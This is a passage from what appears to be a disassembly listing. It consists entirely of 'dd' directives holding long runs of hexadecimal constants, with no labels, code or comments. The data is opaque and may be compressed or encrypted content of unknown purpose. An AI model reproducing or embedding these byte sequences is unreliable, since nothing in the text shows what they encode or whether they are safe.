		dd 4812E509h, 0D705E3FBh, 0AC0477F5h, 94C8FC7Eh, 6CDF505Ch
		dd 0B54438F3h, 0E0FC4A80h, 0E249D93Bh, 0AB910F03h, 7DBA84h
		dd 0A5F00629h, 77B897E7h, 9A932203h, 9FA869FAh,	8CE2F394h
		dd 653085F2h, 3B9209E8h, 40095C56h, 17F704B0h, 31934096h
		dd 0C4DA780Ah, 0C5808491h, 0C0F96AF1h, 0B28A448Ch, 0CFF1AB01h
		dd 0B003F4F5h, 2139DCh,	404AFB35h, 5C83A056h, 9419D412h
		dd 0CD135C40h, 0E50E95h, 15E61DAEh, 400558D5h, 5C00C49Ch
		dd 8032B0CDh, 0B1D8635Bh, 0ABC02FB8h, 0CB00B6A3h, 6E132BA1h
		dd 9CF8DC84h, 0BFF58A1Ch, 349080C0h, 0B3BC3C17h, 0F8C20501h
		dd 446952C3h, 1880F840h, 0E1F13F35h, 0C9F04D35h, 510ECC2Ch
		dd 665F1900h, 0B11CA5DFh, 0C5F60162h, 5ABE1F8Dh, 7FF9897Eh
		dd 1B0C10FBh, 1929125Eh, 39B04159h, 207A6D4Eh, 0F0122E0Ch
		dd 780BF3E3h, 0F037DAh,	0D421BE4h, 3E1FDC40h, 5E1EFBABh
		dd 0B406D600h, 2CA81677h, 874470B1h, 24384A43h,	2250A152h
		dd 312BF2B0h, 0EDED4F8h, 221EE476h, 3D7B6163h, 0EC0FCB9Fh
		dd 5C37F016h, 0F16EC0A9h, 2B3234D7h, 30C2E91Ah,	0C511336Bh
		dd 0C98C173Bh, 7F7A7421h, 144CAD1Fh, 0EB0AE9E8h, 303778B5h
		dd 45E41E27h, 0ACE891CFh, 0CC3CC880h, 0C494BE5Ah, 3EC11258h
		dd 5809A3Ch, 0FDF598B7h, 0E2123241h, 28407819h,	0BD96AC11h
		dd 12BD986Ch, 1EA929h, 0AE39860Ah, 0A89A9001h, 86E498A5h
		dd 102E8260h, 5E4D5100h, 1924767Ch, 0A479C080h,	0C81DD9D3h
		dd 1022335Ah, 38A0441Ah, 6800E829h, 384616BEh, 22605D03h
		dd 0A11D62D9h, 0E3A900C6h, 0FCC44ED7h, 6F00E6EFh, 0F093B5B2h
		dd 48EC07FBh, 0CE0048E0h, 0BE467B6Ch, 29EB9F56h, 2D0810BCh
		dd 0D4E3104h, 0FFE08473h, 90FC1909h, 2C1E2720h,	84B851A8h
		dd 0CF7BC9BAh, 0C68588E4h, 502098EEh, 55F528D9h, 2CC4BA3Ch
		dd 93C43519h, 88BC8B77h, 0E4EEC073h, 0F516940Eh, 289CC6E7h
		dd 526540A1h, 4F924801h, 0A7FACD9Ch, 19838BE9h,	8C2F4A53h
		dd 0B9701690h, 316140h,	953445FEh, 3210C943h, 43E2025h
		dd 0B059A514h, 8CD187Fh, 78FACAF0h, 84BD70h, 6EB06DF0h
		dd 0B527E557h, 0B880BC90h, 389450F9h, 18D630E8h, 0F0D181CDh
		dd 8B0006C0h, 0A8ED0A70h, 9845D50h, 0BEF3BC7Fh,	82B2D020h
		dd 8D001179h, 3463A2AFh, 1FE248AEh, 701996FBh, 6B05059h
		dd 17E61400h, 0ACCBD58Ah, 0AA770358h, 9718C2BDh, 0F9293Fh
		dd 262D0F1h, 16C7E6F4h,	3FCA693Dh, 8D2374h, 7E839BB3h
		dd 9E077A0Bh, 53195D5Fh, 467CC0DAh, 4D190069h, 90A577C5h
		dd 0D676015Ah, 73B43362h, 58D2E81Fh, 0DCD40812h, 3565800h
		dd 6037F7F9h, 52D610F4h, 1C09C338h, 3775A1B7h, 0FAEB0058h
		dd 44E7DCC8h, 6BDB5Eh, 226F9A00h, 0FD4B64EFh, 3FC01952h
		dd 86BE00A6h, 99583AABh, 61E22EE4h, 12D390CCh, 0C80F69CEh
		dd 3B047070h, 0C394F1AEh, 49C6EB78h, 0B2335D1Dh, 0FCEDB680h
		dd 4BF7E7F8h, 4741723h,	904DA8F0h, 811A9258h, 0DDC389Ch
		dd 8D4E3A13h, 263C3C81h, 465EF839h, 0C9A80524h,	0D007D4B2h
		dd 0DCB45E17h, 0EB190CC0h, 1482EA25h, 54ECC26Ch, 0E8CC6B8h
		dd 7978F01Eh, 9FA4F65h,	0C8442D9Ch, 8579BCB9h, 0FB257718h
		dd 0EFE018E3h, 0C1990BC4h, 0F01D0BB8h, 158E2791h, 89FACE80h
		dd 0F38E4C2h, 1001DAB3h, 1837ED58h, 0F3E12C30h,	26A2AC63h
		dd 2CC1430h, 0DCD3892Dh, 0C4488EF2h, 8C945B5Dh,	473B6980h
		dd 14F3146h, 9B7B09Bh, 71581E20h, 27282874h, 0E0FC8A5Ch
		dd 12704674h, 1C043F0Fh, 5C9C7105h, 730604FCh, 867D659Eh
		dd 62466054h, 0C9F0CC02h, 863180FAh, 0DB74302Ah, 0EF00A757h
		dd 0EB9108C6h, 4B8F531h, 2FE87986h, 8404D1DDh, 88304B0Ch
		dd 0A104C170h, 4C243085h, 9DDE8D09h, 945404A9h,	0ECAD90A9h
		dd 15E4744Ah, 19C53902h, 8070594Eh, 0BE455A8Ch,	90CF5457h
		dd 65FC0990h, 0E8E44829h, 4A92313Ah, 47AE888h, 0A5091FF1h
		dd 13C4F0C7h, 0E55AECA8h, 28BE8724h, 0EA406300h, 2E66E4FBh
		dd 3F207692h, 86187220h, 0DFF19619h, 0AE7E0073h, 97FCB6F2h
		dd 0A67D133Bh, 0FE43F014h, 4C6E5EA4h, 0C44A3A00h, 0F8024B1h
		dd 5D404096h, 42941FFh,	0B71BE754h, 4308C0F6h, 32141325h
		dd 0BCD875CBh, 14EA8C71h, 514CA87Ah, 32F81378h,	87C8E88Bh
		dd 0C8514BC0h, 579C0511h, 407BBA25h, 0D68C73E4h, 3C02044Dh
		dd 0D0A93177h, 1200D315h, 2318B278h, 336901BCh,	19673BC7h
		dd 20042DE6h, 0BA2EE1D8h, 0B725E4CBh, 51A18004h, 0A229FDF8h
		dd 57F2890Bh, 0E4DC6532h, 19626073h, 0FFDC25B8h, 2D20C82Ah
		dd 0B3B96430h, 7608BC9Eh, 2CA92779h, 0BDE5EC01h, 4C20295Ch
		dd 31441F68h, 993005E5h, 4C2A2890h, 0FAC7020Fh,	1A933A4Ah
		dd 7593880h, 85005F0Bh,	0AC644BF2h, 4CA7D141h, 0F5102C50h
		dd 2CF0B6Ah, 0FF14E970h, 0DC092C28h, 0A02123F4h, 4155BD5Dh
		dd 0BCFF7F44h, 736D0161h, 32C15D69h, 0F90881F7h, 0CE27823h
		dd 16874130h, 60C9D2B6h, 5602973Ch, 49F56117h, 8C3C5CD9h
		dd 28C26ACh, 10533316h,	0A481271Ch, 62941344h, 3088F26Ch
		dd 8D7C2299h, 4FE08B00h, 214D4E32h, 9A349659h, 0E40079B0h
		dd 0FD4E31E3h, 1081D798h, 21901720h, 56EE484Ah,	53F06C56h
		dd 0FF2EF8D7h, 0B981E8BBh, 75017FEFh, 8F67C050h, 55F71AFDh
		dd 0CD8F81Ch, 54E97940h, 0B8B3E87Fh, 69B12094h,	5448CE16h
		dd 28C870CBh, 53C48EC0h, 0E0EF0AE6h, 4807C9Bh, 21591965h
		dd 0F00756Fh, 0FE1EF4F2h, 0D3013952h, 0B1F7EDB0h, 0BDE08C21h
		dd 86B72553h, 0F0B8ECA4h, 5E743F44h, 0F84C345Ch, 6F008C8Dh
		dd 0E93D5102h, 48CFC2E0h, 0AC11B02Bh, 1DD1392Fh, 28ECA2C8h
		dd 0F9796600h, 298B3FBh, 0DCC9043Fh, 0C8647AF0h, 652F5EF8h
		dd 0F798007Fh, 8015F2E3h, 28F8B194h, 39A23806h,	9105231h
		dd 8C40E4C4h, 981D4CC3h, 9E80C982h, 0CDFC43C2h,	74FC9435h
		dd 39006846h, 6F980C15h, 2A05ACCAh, 563FA68Bh, 32869862h
		dd 0F96C7C40h, 0E08CD04Ch, 0F1B1B0h, 31ECFA08h,	6FD0787Bh
		dd 0B90A201h, 0EBC26774h, 0C9BC8C7Ch, 7E5C178Ch, 0A5B60298h
		dd 844009A3h, 31805DC6h, 15D912F1h, 575C0455h, 0C32CC8FAh
		dd 3368048Ch, 0A26F3BC6h, 8071C76Ch, 0FE2445A1h, 1383503Ch
		dd 0EAF8D481h, 0A5244639h, 619D786Dh, 42556F41h, 0BA112FB4h
		dd 4F84507Ch, 0E200C3BEh, 7FAD1B94h, 16813Bh, 0D4471503h
		dd 0F5AB913Ah, 5C4F115Fh, 8A8E972h, 39683Bh, 3D7BA785h
		dd 0B2A153BEh, 16901754h, 0B43C126Ah, 3F7DF850h, 0B5DFBF12h
		dd 0F380609Bh, 0F80FFB6Eh, 6C16DCBEh, 0C8CD3C24h, 722EF1D0h
		dd 5B940097h, 547ADCF8h, 0F8B9118Ch, 0E41887D1h, 0C3E39h
		dd 5857491Bh, 0A015AFEDh, 0B459B668h, 234676E8h, 0EF317600h
		dd 0CFA7B97h, 94C855h, 0B59C0BD4h, 87707862h, 8DFC040Dh
		dd 0A2A823D4h, 50413024h, 0F6504FB0h, 0E71389E8h, 0C49B3807h
		dd 95975B80h, 211FAD7Eh, 0B42E914Eh, 2452F908h,	10D55108h
		dd 6F533Eh, 632747C0h, 0AA024A6Dh, 0EC818090h, 56743898h
		dd 5D9112ECh, 22D7681Ch, 0D2BBA0D1h, 2F584434h,	5020A7F5h
		dd 21765A84h, 1C44BE12h, 0EDC1BC67h, 0B8CAB1B3h, 6AFBDCDCh
		dd 0C890D97Ch, 254674E8h, 0AEDFC412h, 27CF2D01h, 946D7442h
		dd 94922F0Bh, 9118570Fh, 0F8A93BF5h, 226C625Ch,	44649873h
		dd 70B1FCF5h, 465E20AEh
		dd 6B3602C6h, 767FEA88h, 7BD942E4h, 63008C0Ah, 0FABC8A39h
		dd 5E35326Fh, 506C6918h, 0D43B1C98h, 2C66AEEFh,	0C6808111h
		dd 0A8F967F1h, 0B3C04CB1h, 91F1ACh, 7859AEEAh, 4580C5D5h
		dd 0FC40194Bh, 0DA549287h, 0EE7F0005h, 9BF97BF1h, 6E027109h
		dd 10EBA7BCh, 801874BAh, 178628B1h, 20AF55Fh, 0B440AE3Ah
		dd 0CDAA9801h, 0A9CCEF99h, 0C0C77F4Dh, 7328118h, 0F15FAC2h
		dd 5AA42AF0h, 0E424886Fh, 0D2140854h, 874C8252h, 0DC8401D5h
		dd 51CC32F6h, 1449D074h, 97F3B91Dh, 58C6401h, 212090h
		dd 0C9DDC05Bh, 538092A1h, 9813ED9Ch, 83396116h,	58722C29h
		dd 50D1C8B2h, 0B809DD92h, 364024BDh, 60A79084h,	579745B0h
		dd 109FED1Ah, 598CBAF0h, 188A799Ch, 64BC1D7Ah, 1B0814Dh
		dd 7031D8E9h, 0E092AFC0h, 91A89797h, 82E68E24h,	745BF659h
		dd 0D9BC8148h, 0C4F14334h, 56006092h, 2A3A6FA9h, 17BDAF55h
		dd 5AB2F44h, 0A0BA17DCh, 4BF41484h, 0B2707553h,	7F023085h
		dd 5C2C122Ch, 87D11029h, 2B073B18h, 839FEF8h, 9FA018A9h
		dd 0F6B901AEh, 97443738h, 5DE86039h, 307C40h, 0A150F434h
		dd 893A4A2Fh, 5A3BFB12h, 822308E6h, 68F1C701h, 0AC7CB0F9h
		dd 70ADACB1h, 9C2CBF7Ah, 5B0968C9h, 37C4A1C7h, 0BA027D56h
		dd 3AB81881h, 14F8D740h, 6000E319h, 8DFBAC18h, 1ABDA16h
		dd 13E62D3Bh, 2F3E7A02h, 0BC7F4045h, 798174C1h,	60BA23F0h
		dd 2E695174h, 37013F53h, 6BEF529Eh, 0F0708AF4h,	66E0061h
		dd 4E39EBAFh, 24941A1Dh, 0C6D19CA9h, 0D102A118h, 840863BFh
		dd 9346427h, 0F70FFFF9h, 22551890h, 508E5D4Ah, 6BC18988h
		dd 95C90708h, 0DE20688Dh, 0A9D84158h, 3CF20083h, 0CCB8B8h
		dd 235FC3Ah, 92636B16h,	5CBDAD16h, 4FC42CA4h, 4370C85Bh
		dd 1A046000h, 0A72313CEh, 197408h, 25C742B2h, 0CD53776Ch
		dd 0CF654C02h, 0CDBFD362h, 0EAEE004h, 3906D297h, 50C512BCh
		dd 31C08048h, 0D0C7841Eh, 5B8935A1h, 5EBB03D4h,	18022699h
		dd 0E179E7FCh, 746C5617h, 0EC1FC646h, 2E83FC88h, 1F614EBAh
		dd 6C207170h, 562313F2h, 1880F00Dh, 40C9B698h, 0CF8890F5h
		dd 1C9052h, 6377BB16h, 0AD0EBD33h, 7BE060EFh, 9E07F080h
		dd 0C0049220h, 0A251BD8Ch, 0A48D80B2h, 0F6B786E7h, 7767876Eh
		dd 0E7FB2070h, 15DA2ED7h, 0C9467614h, 0E2E54F00h, 8B6FF96Bh
		dd 0C2F45718h, 25F5921h, 0E6064FBDh, 0ABC0EBE1h, 317A1AA4h
		dd 823FE83Bh, 540FF98Bh, 204CFAFAh, 0F0137F01h,	48E0B4DDh
		dd 0E14619BBh, 2B7A188Bh, 29D1700Bh, 0E458C530h, 8024608Bh
		dd 59040975h, 0C88FA99Dh, 0A06FFE27h, 2FB5F555h, 0BA44ACB8h
		dd 1C5809D6h, 88F1EAF4h, 38420D3Ch, 0A8A63176h,	0EF01F620h
		dd 0BD96A9F7h, 0A9BE7A59h, 20357816h, 26196978h, 972740B4h
		dd 808791C0h, 0E88B2184h, 0EDA805EAh, 0E1E00D59h, 0A56409CCh
		dd 4D20E0E1h, 156123Ch,	3328856Bh, 99E6BD14h, 0B8D683A2h
		dd 30B63964h, 0C82957B0h, 0A63B8B0Bh, 970C40F9h, 39092DF7h
		dd 28C454E5h, 576F3560h, 77952C07h, 0A692476Ah,	91FC7C5Dh
		dd 95AE223Eh, 71914097h, 1C00B08Bh, 484A1749h, 1D5DA22Dh
		dd 83279158h, 0C8F150A6h, 1C77FE3h, 55D73BA9h, 2E05A836h
		dd 7DCCC844h, 62169000h, 0F0BE7243h, 40102788h,	0C1533F52h
		dd 0D08FBE2Ch, 25562D08h, 463C3C40h, 5917DD17h,	17AA0CCh
		dd 0FAC79FA5h, 808D863Fh, 3DFB6C30h, 0E776BAF4h, 4A40406Fh
		dd 426A8DD3h, 0DD0C8C0Fh, 0D289802Ah, 5FDF2175h, 66902261h
		dd 16F0D030h, 0F2E0FACDh, 87C0C080h, 0E02113F0h, 14AF00FEh
		dd 55684C2Ch, 5A27CE88h, 0E5B0E545h, 0C050ACCAh, 31E783Eh
		dd 7304166Bh, 0CE50901Ah, 0CC017654h, 6195A7B1h, 29C8140Dh
		dd 757655h, 67070A90h, 0DC84ECC8h, 0C830F04Ah, 0C4A9E0AEh
		dd 4794F418h, 608082ADh, 26692C16h, 74A4ECCAh, 71D30F10h
		dd 0F280A28Fh, 7EDD618Ch, 0D72A3402h, 48BFE558h, 25A77CD4h
		dd 0C08F8F89h, 5234F393h, 3086E260h, 0C5ECBDE4h, 805370Bh
		dd 0E5B6858Fh, 2E25DBC1h, 7E50202Bh, 434E640Ah,	61010004h
		dd 14A2D21Fh, 0E00EFF80h, 0C1420FE3h, 0D872DE5Bh, 4D2B8600h
		dd 22872C26h, 53F604C2h, 0AD91A099h, 0B3231024h, 24A0F425h
		dd 5D87ABA4h, 0CDEDC600h, 78E3F59Bh, 0E4630357h, 0BDC4C783h
		dd 20D6CA91h, 25F54C74h, 88104E6Ch, 0BDC8C2C7h,	0E88A042h
		dd 0B2A717A4h, 0ACC14BECh, 0C8714138h, 0A8F0146Ah, 0B7F0910h
		dd 45DF2731h, 0D30CE1C0h, 9080871h, 0AD655112h,	630054F1h
		dd 542D55F6h, 7200040h,	7E4ABFB8h, 0A10B9BF4h, 0E2054EB9h
		dd 0D7888000h, 4FF51549h, 0DA38C8CCh, 0B9001772h, 77ADD9DFh
		dd 0F84E8D14h, 6D7A090Dh, 0C585B87h, 4AE9A844h,	0F6A0D081h
		dd 0BB2D9808h, 73EC6212h, 0BFB97018h, 0E016A85Ah, 0D014E8A4h
		dd 4710B4E1h, 24854A0Ch, 8888608Eh, 0C460C9C7h,	4EC5520h
		dd 9DAE395Ch, 70548092h, 0F09E9010h, 5A20878Bh,	0B52820F0h
		dd 35661600h, 0A62DE5FBh, 10184A01h, 8BAC441Ch,	4199008Ch
		dd 1D5A8FCFh, 4E103B70h, 0CA12713Dh, 0E214B275h, 33733070h
		dd 0C415D2Eh, 3C7E1F40h, 71CAA0B0h, 6EF20094h, 77A91E69h
		dd 5539DD1Bh, 603007FCh, 5BD2E5B1h, 98D13Eh, 8F3AC15Fh
		dd 0B0107EEh, 8EB068C3h, 0E82CC6EFh, 0ACF7DC0Dh, 986E2B81h
		dd 3F08CF26h, 9A641778h, 50E41D02h, 185B1FFEh, 64E4C727h
		dd 82096723h, 10C6F7Ch,	7A38F516h, 0DA0E746Bh, 1D80DDCBh
		dd 0E007F920h, 0F0A0D86Ah, 942C4480h, 0C127EBF5h, 0DE5D8468h
		dd 0A2606386h, 144F3071h, 101E4026h, 30FADC8Bh,	0D793151Ch
		dd 0E230A2C9h, 205D3021h, 5C88885Bh, 90BF412h, 0DF990FF2h
		dd 9F4CA098h, 0E725E300h, 0DDAE83A9h, 94E20E8Dh, 6D003345h
		dd 689B8F4Eh, 5946B917h, 59CEEC49h, 48A8E778h, 60788823h
		dd 30A397F5h, 52C0A92Bh, 0D27599Ah, 0AA80C148h,	342F4F71h
		dd 0B210E2A8h, 6229308Ah, 0E4B97200h, 5990E6DCh, 24972FE5h
		dd 97BFF86Eh, 83249178h, 0B0CADF12h, 4EFD4E3Ah,	732C4421h
		dd 394404D9h, 23582EAAh, 0E80F002Bh, 458DD9EEh,	42D52A00h
		dd 0B3BA97BDh, 8AE8D3h,	47EFF30Bh, 6EDB5A64h, 9520F33h
		dd 932100C7h, 0F9FB47E7h, 0FD066232h, 20319836h, 2F850041h
		dd 7F6DD5ADh, 121F0E84h, 1BC05B0Ch, 6C86B5A2h, 829A01AEh
		dd 32E9D335h, 0EB39800Fh, 94C55490h, 8EBB0CA6h,	2508968Ch
		dd 895121C0h, 1E33E054h, 4008A1D0h, 0E4E61E63h,	2EC07BD6h
		dd 0AF6EFE6Dh, 18FD7FD7h, 0B0943B60h, 0C50EB7D3h, 0A11E8DCEh
		dd 0CF16D6EFh, 21AA0898h, 0CE00BDDAh, 0A1119913h, 0EE2EAF81h
		dd 20700152h, 0AAC5D2F2h, 0F985E031h, 0A0B2581Fh, 94990CD8h
		dd 89704Dh, 816607E4h, 6AFBC5E7h, 0E83855E0h, 20026103h
		dd 89C8C35Dh, 4240C6Ch,	1C084481h, 554521C0h, 0E6BF61C3h
		dd 8DC201E6h, 0E80550F2h, 7238013h, 39FFAF3Eh, 0F4D20055h
		dd 5A703542h, 0D007B85Fh, 5B5132FAh, 0A3CF8170h, 41F81C10h
		dd 0FF383AE9h, 490BE898h, 7E008919h, 461F3091h,	7A2971A4h
		dd 159D18F9h, 8B5FC60Bh, 0B70FC10Eh, 1B5A3F1h, 0EB181B33h
		dd 89834504h, 191121E3h, 5E0312E9h, 43B0C371h, 0C2E14097h
		dd 0D6E4A0EEh, 32D5AE01h, 858D47B2h, 3A9C0DC5h,	8E94C60h
		dd 1F007C3Fh, 79998432h, 500FDE70h, 7613887h, 6E31A1BAh
		dd 52506008h, 1C0129BEh
		dd 895F2CC2h, 0BDCC2404h, 5A8DEB55h, 940E8B50h,	43C85FA3h
		dd 3015A2CAh, 8FA058F7h, 383053Dh, 79B8BE46h, 46A82502h
		dd 1D6FF48Bh, 0E831E6D8h, 35505225h, 48C35819h,	0FF4E44h
		dd 2C35040h, 5EAB1ECh, 0D88C085Fh, 0F0C20E03h, 3025856Ah
		dd 0C083F712h, 8D310506h, 52F11995h, 8A00F1E9h,	0C2DB3453h
		dd 0B3106630h, 92406735h, 0E1BD1431h, 465651Bh,	5B552153h
		dd 5C89C8C3h, 4319448Ch, 77C35300h, 0E12627DBh,	4423A7CFh
		dd 0C887601Ah, 4155090Eh, 5C0063DEh, 65FD6A4Bh,	7195FF0Ah
		dd 52145324h, 0C35A872Eh, 51078829h, 524250h, 0A02CBDC3h
		dd 8DE045FCh, 0D64B9D01h, 830F07E7h, 602B00CFh,	0B0D98B66h
		dd 0FF0161F4h, 0B8D8BFD3h, 85DC725Ch, 0E42029B9h, 181DD9E7h
		dd 0B80E0075h, 31DA9599h, 0B01893BFh, 79250AE8h, 1A8803B4h
		dd 0F55082E0h, 5E9A5F0h, 4A671FC0h, 7B6DB6F3h, 91CF495Eh
		dd 1FE837h, 11ED815Dh, 7CA03792h, 0E7831469h, 312AD563h
		dd 0FEBD00Ch, 0A101F986h, 18D1A70Ch, 1005718h, 8BC83C27h
		dd 0A71AC59Dh, 601AC4CDh, 1EEFA9FCh, 0D338349h,	0C1DF8F0Fh
		dd 752157h, 0E3815E72h,	565C52E1h, 0E4C35E30h, 22744689h
		dd 56460017h, 74BEDDC3h, 8D1829BFh, 0F5B631B9h,	6ADB640Bh
		dd 0B86450B3h, 0E9008C1Ch, 32304E84h, 613681Fh,	0D58D8975h
		dd 833F662Dh, 0D02FA8BDh, 3D84C180h, 958C3FD8h,	0B0E98013h
		dd 0DE817C6h, 0C010000Bh, 250CB52Ch, 3472A1E4h,	924AA409h
		dd 0FBB490E8h, 1B67A36h, 93EC647Ch, 0D8654D2Fh,	69024337h
		dd 0FCA61383h, 8D90875Fh, 0C712A219h, 0AB4A8885h, 1CD9DDA9h
		dd 0D2FAB718h, 510D3Eh,	139CE7Eh, 0C81F8DBDh, 1FA645D7h
		dd 3F16AD0Ah, 14FC10CEh, 31730F8Ch, 6F995D95h, 0EA8E100Eh
		dd 7ABEE26h, 0DD8611FEh, 0A760E02Dh, 5C938D42h,	59875191h
		dd 4C8922C3h, 4100E847h, 7BFEC351h, 537E013Bh, 0FA5D2C28h
		dd 0FB20303Dh, 0FF23810Eh, 2EE95CFEh, 9181471h,	68D0F18h
		dd 6F858915h, 0A89DDFD1h, 2069980Ch, 661030B9h,	19E8DB8Ch
		dd 83FE398Ch, 7E37B90Ch, 0F67BF9C2h, 22530448h,	0C11CA024h
		dd 0C740821Eh, 40822D91h, 3B62D3h, 0BF9025FBh, 1D303CAAh
		dd 230D5077h, 0A11C31BDh, 2E1210F8h, 941B42E9h,	1535C209h
		dd 47B131Eh, 522C545h, 0E43170E6h, 19C43255h, 6018003Dh
		dd 78CACCC1h, 5F14B2BAh, 8188810Fh, 0A859D09h, 8712507h
		dd 5FC25787h, 7C0FE1C3h, 47806E33h, 0D136C357h,	0A782410Ah
		dd 0A508BD60h, 4521701h, 21F972h, 0B60F615Fh, 0D11799D8h
		dd 1A951816h, 0BCBAA59Bh, 1DC46847h, 0AF332E60h, 3B745A01h
		dd 59062301h, 0AB950B20h, 47C3B2CFh, 6717440Ah,	0F80F0C70h
		dd 89B51209h, 863E4E25h, 0E8C10A11h, 1CD67E04h,	7157C240h
		dd 3181AAh, 53F7665Eh, 16A284E2h, 0EED1F931h, 24F28670h
		dd 9057D82Bh, 10D65809h, 502C186Dh, 0FC792F2h, 1CC66173h
		dd 0F1581524h, 97B52CFAh, 8A06EE4Ch, 58C97380h,	7F906378h
		dd 50E412Eh, 119467Ch, 5E3A6A93h, 824160D0h, 83222391h
		dd 149D1062h, 62A78344h, 13601C44h, 101C998Dh, 2C89169Bh
		dd 48809C6h, 5C803C4Eh,	0D2027F83h, 7E6F30h, 914166Ah
		dd 0F632D1h, 81769015h,	49FFAFDEh, 538D1249h, 3318A23Dh
		dd 391F4988h, 0C0E93529h, 3289A500h, 9AE2585Eh,	5D154187h
		dd 88C50BA0h, 0C294C015h, 0B6B1820Fh, 0EE3E1025h, 0C6510257h
		dd 0D5ED48A5h, 0ACC1A542h, 0BE661015h, 84D949E8h, 80665E55h
		dd 0F00F28F1h, 572C830Dh, 62A8210Ch, 3EDC1996h,	7600A220h
		dd 30AB7891h, 0B44E929h, 0F1F2F7h, 2E96C670h, 7851D166h
		dd 0BCBA5849h, 0E2530BEh, 57880FAAh, 0F8E10158h, 0FB1C8C17h
		dd 0B997B562h, 81660620h, 0B18A0BF7h, 1DA2C183h, 3B020279h
		dd 1DCF41D9h, 1BF80628h, 7B29018Ch, 4CFBB30Ch, 10E9D05Ah
		dd 8AAA21C0h, 1C53685Fh, 0C2518B92h, 6BA1E5D1h,	801DD985h
		dd 0F6F8D9B6h, 2493C159h, 467E43A2h, 0BC760517h, 0AC982C78h
		dd 9AF1EC89h, 0F5B590Ch, 0A30F3EBCh, 8136808Bh,	0DC30D813h
		dd 0CC00AA23h, 62FAA03Ah, 0C3522BBEh, 3016E25Eh, 2654EB7Fh
		dd 243E042Bh, 3DC6611Ch, 392D0834h, 0BE00AF42h,	6A298DAAh
		dd 15C03CE9h, 89B6D781h, 8B0E14ABh, 1AB846C0h, 0F2341C8Ch
		dd 0AA8C8411h, 0D5A5C135h, 8E0F0131h, 612C9B76h, 0D80A6F90h
		dd 1B465C38h, 1461124h,	0CBAEAAAh, 0E62531A0h, 4887C92Eh
		dd 2CC7FCAAh, 82486585h, 71681151h, 1944BD67h, 0B02BB660h
		dd 0AB695B14h, 0D20E5C95h, 8517F68Eh, 23323F34h, 40E3001Ch
		dd 0FF579CB7h, 94E8D112h, 0B4EECE03h, 8085CA12h, 0D9B2BE39h
		dd 0A3275977h, 1116F96h, 29610F6Bh, 0E154C58Dh,	9CE9BBD8h
		dd 163C809Bh, 34F5ECC6h, 0BF2F5500h, 0B5319081h, 0FD0B52A5h
		dd 0BE060522h, 4AD87B76h, 0A203685Bh, 1A46748Bh, 6E927C00h
		dd 8817F742h, 1F0CE830h, 71C7C1FDh, 0EFD700BEh,	0A43D4D77h
		dd 0EE00BFE6h, 5F127982h, 6F7DB529h, 0F8ACA130h, 5393F706h
		dd 31B58902h, 3C86091Fh, 259EFCE1h, 0DCEA00DEh,	0DD061A3h
		dd 4F0A34D7h, 0D2FDB523h, 31E39A6h, 0E50A050Ah,	2289A39Ch
		dd 552F0262h, 1BF9070Dh, 1711479Dh, 2531C081h, 0CBD4B877h
		dd 0F59BBA12h, 36064D8Bh, 605B1522h, 9CB16320h,	15490109h
		dd 0C8AC0479h, 535BE83Dh, 1F75850h, 1DF52140h, 0D8853161h
		dd 75BDFD04h, 0E9121692h, 0DBCEF753h, 0F5C01AC8h, 62E2BD4h
		dd 0E98D5EA1h, 3E481F2Ah, 524938D7h, 49E9BC01h,	65056C8Ah
		dd 0C0D76B8Dh, 1E34C845h, 94284200h, 0F78B9F7Eh, 0EA0600E1h
		dd 0DE777D56h, 5300E703h, 0B145633Dh, 0A7BD9Bh,	820FD13h
		dd 9411C174h, 0AA9AEF1Eh, 97266BC1h, 0C6207956h, 6480005Bh
		dd 0C5DDBAD0h, 0E27FBF8Dh, 6CA4B800h, 4D6B45D1h, 0FE42EEF4h
		dd 0A0743Eh, 68886114h,	0D69CAE17h, 65E2440Ch, 703C1D9Eh
		dd 919A3ECCh, 9FF8F483h, 7AC3738Dh, 809674F8h, 9C004876h
		dd 41EFA86h, 63E15CCh, 21D65306h, 0AD00443Ch, 4CC9EB44h
		dd 60482518h, 92A83030h, 0A00E8FEh, 14EEBCF4h, 3E08A6F6h
		dd 3800102Eh, 83FAAA81h, 0FB058FA5h, 3170AF21h,	41478640h
		dd 305BD822h, 3264C7A4h, 5E0070C9h, 0FF4F6744h,	1F6B8561h
		dd 0F0E69359h, 0A90B0925h, 18182CE4h, 8417D6ADh, 756CFA1Bh
		dd 0AA7B0038h, 0AB1DE05Bh, 9F14C650h, 158C4270h, 7EEABEFDh
		dd 8CA07F00h, 0D2A7B954h, 2307292h, 0CC679FB3h,	9DA09A61h
		dd 0A8BE9C38h, 233D4F00h, 49F62E46h, 6D1FC0B4h,	37C8F4B0h
		dd 0E05C111Eh, 0C06F20E5h, 0E26F24Eh, 64888987h, 3156E41h
		dd 2A0F202Eh, 0FC0A34FEh, 0E1D00861h, 9AACC200h, 87A780h
		dd 9C35C537h, 6BE0F2B8h, 2C09EE1Bh, 35CE070h, 5D2B00F1h
		dd 7C1A6A7Eh, 4E0086A0h, 338CA280h, 8D5B21h, 0B2B090B1h
		dd 5D77CBC9h, 6C2AE9A0h, 0E6B94207h, 0F18058A7h, 3E1922CEh
		dd 0FD248FB7h, 8B08002Eh, 6D8964DBh, 419A3501h,	0E5C3611Fh
		dd 18ECD352h, 8D016A38h, 6D0A1C75h, 4DCC4639h, 0C6A300B9h
		dd 0CE401AAEh, 2571DC90h, 623CBB12h, 4D92000h, 25F7B56h
		dd 69805927h, 0A7A117ECh, 80B047C4h, 64B51E0Dh,	46AA2FBh
		dd 3C23632Ch, 0BEA49061h, 58007B9Fh, 3738D3B2h,	14A6DEh
		dd 467E9C76h, 0A37F99ABh, 83518900h, 85538BA9h,	5A923DA6h
		dd 0D898CC80h, 87376F80h
		dd 15B3A824h, 0DCEA6D1Eh, 7D4F9654h, 0A1136300h, 772EFAF3h
		dd 0C1D3033Fh, 38502DFBh, 86745E80h, 7900297Dh,	48603DC9h
		dd 0F22FAC10h, 9C19003Bh, 7E9A75E8h, 0B100902Eh, 53698B9Dh
		dd 1F502978h, 70C7BC39h, 0D12A93EEh, 727640F8h,	33001BE8h
		dd 0BEFBB604h, 771565h,	1FF88498h, 1A2CC7FFh, 0A9BA5416h
		dd 16E8104h, 0F6683E80h, 8D6901A8h, 45579A3Dh, 0D700F3A6h
		dd 0D4DF54C6h, 2499880h, 166F8965h, 77AE2F04h, 0AF16E82h
		dd 68C8C0A1h, 0F1CD3EBh, 0A70059C2h, 5B0B8E6Fh,	0ED093DE4h
		dd 0F678824h, 91A00D5Dh, 1B536B48h, 0C7278005h,	480679Ah
		dd 0A142678h, 19DFA14Eh, 5F0784F4h, 539BD01Ch, 0CB14A6B8h
